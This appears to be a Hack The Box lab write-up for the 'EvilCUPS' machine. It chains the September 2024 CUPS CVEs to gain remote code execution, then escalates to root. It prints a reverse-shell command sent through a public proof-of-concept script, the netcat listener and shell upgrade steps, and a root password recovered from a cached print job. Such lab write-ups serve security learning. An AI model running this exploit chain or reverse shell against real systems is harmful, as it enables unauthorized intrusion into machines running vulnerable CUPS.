EvilCUPS is a Linux machine affected by several vulnerabilities discovered in CUPS (Common Unix Printing System) in September 2024. These vulnerabilities—CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177—can be chained to achieve RCE by giving an unauthenticated attacker the ability to add a malicious printer to the machine, and when a print job is executed, arbitrary commands are run. In this case, exploiting these flaws results in a shell as the lp
user. This user's permissions can then be leveraged to read a print job from the cache containing the root
user's password.
nmap
scan:
┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 13:19 EDT
Nmap scan report for 10.10.11.40
Host is up (0.062s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.08 seconds
As shown in the Nmap output above, the machine was running CUPS on TCP port 631, so I checked UDP port 631 since CUPS uses it for printer sharing and discovery, it was also open:
┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ sudo nmap -sU -p 631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 13:21 EDT
Nmap scan report for 10.10.11.40
Host is up (0.041s latency).
PORT STATE SERVICE
631/udp open|filtered ipp
Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds
Next, I visited the web interface by browsing to 10.10.11.40:631
:
Access to the Administration page was forbidden:
The Jobs page allowed active and completed jobs to be viewed:
"Show All Jobs" listed one completed job:
The Printers page showed one printer on the machine:
Clicking "Canon_MB2300_series" brought up the administration page for the printer:
Notably, the "Maintenance" dropdown can be used to print a test page:
Recently, a researcher discovered a vulnerability chain consisting of four CVEs in CUPS that leads to RCE, detailed here. Based on the original exploit script, the creator of this HTB machine wrote a PoC, which can be found here. The PoC creates a fake printer on the target machine that, when used to run a print job, can execute a specified command. I cloned the script and ran it, specifying a reverse shell command:
┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS/evil-cups]
└─$ python3 evilcups.py 10.10.14.15 10.10.11.40 "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'&"
IPP Server Listening on ('10.10.14.15', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
20 elapsed
target connected, sending payload ...
After running the exploit, a new printer was added:
Next, I started a listener with nc
, then went to the administration page for the HACKED_10_10_14_15 printer and selected the "Print Test Page" option from the dropdown:
After clicking "Print Test Page", nc
caught a shell as lp
which is the dedicated system account used for managing printing services:
┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.40] 37032
bash: cannot set terminal process group (1270): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ id
id
uid=7(lp) gid=7(lp) groups=7(lp)
I upgraded the shell with the following commands:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
The only user directory on the machine was htb
, to which lp
had read, write, and execute permissions:
lp@evilcups:/$ cd home
lp@evilcups:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 27 21:05 .
drwxr-xr-x 18 root root 4096 Sep 28 11:15 ..
drwxrwx--- 2 htb lp 4096 Sep 28 22:11 htb
lp@evilcups:/home$ cd htb
lp@evilcups:/home/htb$ ls -la
total 24
drwxrwx--- 2 htb lp 4096 Sep 28 22:11 .
drwxr-xr-x 3 root root 4096 Sep 27 21:05 ..
lrwxrwxrwx 1 htb lp 9 Sep 28 11:12 .bash_history -> /dev/null
-rwxrw---- 1 htb lp 220 Sep 27 21:05 .bash_logout
-rwxrw---- 1 htb lp 3526 Sep 27 21:05 .bashrc
-rwxrw---- 1 htb lp 807 Sep 27 21:05 .profile
-rw-r--r-- 1 root htb 33 Oct 11 13:19 user.txt
The home directory of lp
was /var/spool/cups/tmp
, there wasn't anything useful there:
lp@evilcups:/home/htb$ cd ~
lp@evilcups:~$ pwd
/var/spool/cups/tmp
lp@evilcups:~$ ls -la
total 12
drwxrwx--T 2 root lp 4096 Oct 11 13:33 .
drwx--x--- 3 root lp 4096 Oct 11 13:48 ..
-rw------- 1 lp lp 146 Oct 11 13:40 .bash_history
-rw------- 1 lp lp 0 Oct 11 13:28 cups-dbus-notifier-lockfile
When using CUPS, the lp
user manages files and directories related to printing. Job files are typically stored in /var/spool/cups/
. By default, the lp
user can access /var/spool/cups/
but cannot list its contents directly, as lp
only has execute permissions on /var/spool/cups/
:
lp@evilcups:~$ ls -ld /var/spool/cups
drwx--x--- 3 root lp 4096 Oct 11 13:48 /var/spool/cups
lp
does have read access to files in the cache, as long as the exact file name within the directory is provided. The CUPS documentation here states how job files are named:
... control files starting with the letter "c" ("c00001", "c99999", "c100000", etc.) and data files starting with the letter "d" ("d00001-001", "d99999-001", "d100000-001", etc.) ...
So, to view a data file, the format would be d<job_id>-<sequence_number>
. As shown earlier in the web interface, the Jobs page displayed active and completed jobs, with one completed job listed having the ID "Canon_MB2300_series-1":
"1" in "Canon_MB2300_series-1" corresponds to the job ID. Thus, the file name for the first sequence of the first job would be d00001-001
. Since lp
had read access to jobs in the cache, I could read the PostScript data from /var/spool/cups/d00001-001
. This revealed the contents of pass.txt
, which contained the password Br3@k-G!@ss-r00t-evilcups
:
lp@evilcups:~$ cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
%%Orientation: Portrait
%%Pages: (atend)
%%DocumentMedia: A4 595 842 0 () ()
%%DocumentNeededResources: (atend)
%%EndComments
%%BeginProlog
%%BeginResource: procset Enscript-Prolog 1.6.5 90
%
% Procedures.
%
<...snip...>
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier
%%EOF
d00001-001
could also be copied locally and then converted into a PDF, which shows what was actually printed on the page:
┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ ps2pdf d00001-001 d00001-001.pdf
d00001-001.pdf
:
I used this password to log in as the root
user:
lp@evilcups:~$ su -
Password:
root@evilcups:~# id
uid=0(root) gid=0(root) groups=0(root)
root@evilcups:~# ls
root.txt